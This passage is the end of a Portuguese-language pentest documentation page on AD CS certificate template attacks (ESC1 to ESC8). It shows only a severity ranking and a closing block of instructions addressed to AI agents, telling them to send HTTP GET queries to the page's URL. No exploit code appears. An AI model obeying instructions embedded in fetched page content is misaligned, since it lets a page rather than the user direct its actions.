    - Forçar HTTPS

  🎯 Prioridade:
    - CRÍTICA: ESC1, ESC8
    - ALTA: ESC4, ESC2
    - MÉDIA: ESC3, ESC5, ESC6, ESC7
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/esc1-a-esc8.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.